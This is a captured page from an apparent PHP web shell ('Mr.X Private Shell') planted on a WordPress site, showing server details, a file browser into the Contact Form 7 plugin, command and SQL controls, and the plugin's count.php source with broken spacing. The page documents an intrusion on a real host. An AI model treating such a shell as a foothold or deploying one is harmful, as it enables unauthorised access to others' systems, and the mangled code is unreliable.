Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/contact-form-7/modules///      ( Reset | Go to )
File Name: count.php
Edit
<?php
/**
** A base module for [count], Twitter-like character count
**/

/* form_tag handler */

add_action'wpcf7_init''wpcf7_add_form_tag_count'10);

function 
wpcf7_add_form_tag_count() {
    
wpcf7_add_form_tag'count',
        
'wpcf7_count_form_tag_handler',
        array(
            
'name-attr' => true,
            
'zero-controls-container' => true,
            
'not-for-mail' => true,
        )
    );
}

function 
wpcf7_count_form_tag_handler$tag ) {
    if ( empty( 
$tag->name ) ) {
        return 
'';
    }

    
$targets wpcf7_scan_form_tags( array( 'name' => $tag->name ) );
    
$maxlength $minlength null;

    while ( 
$targets ) {
        
$target array_shift$targets );

        if ( 
'count' != $target->type ) {
            
$maxlength $target->get_maxlength_option();
            
$minlength $target->get_minlength_option();
            break;
        }
    }

    if ( 
$maxlength and $minlength
    
and $maxlength $minlength ) {
        
$maxlength $minlength null;
    }

    if ( 
$tag->has_option'down' ) ) {
        
$value = (int) $maxlength;
        
$class 'wpcf7-character-count down';
    } else {
        
$value '0';
        
$class 'wpcf7-character-count up';
    }

    
$atts = array();

    
$atts['id'] = $tag->get_id_option();
    
$atts['class'] = $tag->get_class_option$class );
    
$atts['data-target-name'] = $tag->name;
    
$atts['data-starting-value'] = $value;
    
$atts['data-current-value'] = $value;
    
$atts['data-maximum-value'] = $maxlength;
    
$atts['data-minimum-value'] = $minlength;

    
$html sprintf(
        
'<span %1$s>%2$s</span>',
        
wpcf7_format_atts$atts ),
        
$value
    
);

    return 
$html;
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL